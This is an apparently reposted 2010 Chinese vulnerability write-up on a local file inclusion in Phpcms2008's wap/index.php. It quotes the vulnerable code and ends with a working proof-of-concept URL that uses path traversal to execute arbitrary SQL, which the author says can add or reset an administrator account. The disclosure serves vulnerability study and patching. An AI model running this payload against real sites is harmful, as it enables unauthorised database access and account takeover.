首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Phpcms2008本地文件包含漏洞及利用:任意SQL语句执行
来源:http://www.oldjun.com 作者:oldjun 发布时间:2010-09-08  

最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧。乌云的文章在此:http://www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。

Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!

好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:

文件在wap/index.php

<?php
include '../include/common.inc.php';
include 
'./include/global.func.php';
$lang = include './include/lang.inc.php';
if(
preg_match('/(mozilla|m3gate|winwap|openwave)/i'$_SERVER['HTTP_USER_AGENT'])) 
{
    
header('location:../');//判断,调试时先注释掉,from http://www.oldjun.com
}
wmlHeader($PHPCMS['sitename']);//判断,调试时先注释掉,from http://www.oldjun.com

$action = isset($action) && !empty($action) ? $action 'index';//直接把action带进来了,from http://www.oldjun.com

if($action
{
    include 
'./include/'.$action.'.inc.php';//本地包含,from http://www.oldjun.com
}

$html =  CHARSET != 'utf-8' iconv(CHARSET'utf-8'$html) : $html;
echo 
str_replace('
'
"
\n"
$html);
wmlFooter();
?>

去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:

if($_REQUEST)
{
    if(MAGIC_QUOTES_GPC)
    {
        $_REQUEST = new_stripslashes($_REQUEST);
        if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
        extract($db->escape($_REQUEST), EXTR_SKIP);
    }
    else
    {
        $_POST = $db->escape($_POST);
        $_GET = $db->escape($_GET);
        $_COOKIE = $db->escape($_COOKIE);
        @extract($_POST,EXTR_SKIP);
        @extract($_GET,EXTR_SKIP);
        @extract($_COOKIE,EXTR_SKIP);
    }
    if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
    if($_COOKIE) $db->escape($_COOKIE);
}

于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了。包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:

formguide/admin/include/fields/datetime/field_add.inc.php

<?php 
if($dateformat == 'date')
{
    
$sql "ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT '0000-00-00'";
}
elseif(
$dateformat == 'datetime')
{
    
$sql "ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00'";
}
elseif(
$dateformat == 'int')
{
    if(
$format)
    
$sql "ALTER TABLE `$tablename` ADD `$field` INT UNSIGNED NOT NULL DEFAULT '0'";
}

$db->query($sql);//$sql等于没有初始化,from http://www.oldjun.com
?>

$dateformat不初始化,$sql就没有初始化,于是直接可以执行了:

POC:
http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=select 1


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·SiteEngine CMS 5.1.0 文件上传
·Phpcms2008本地文件包含漏洞及利
·Phpwind 注入以及利用之一:远程
·phpwind远程代码执行漏洞
·phpcms 2008 sp4 爆路径及任意文
·站易企网站管理系统CTEIMS 1.1 0
·PHP168 V6.02整站系统远程执行任
·FCKeditor二次上传拿shell
·Piwik和OpenX多版本存在PHP远程
·DedeCmsV5.6 本地包含里的上传漏
·NetCms 注册上传漏洞 Oday
·老Y文章管理系统 v2.5 sp2 SQL注
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved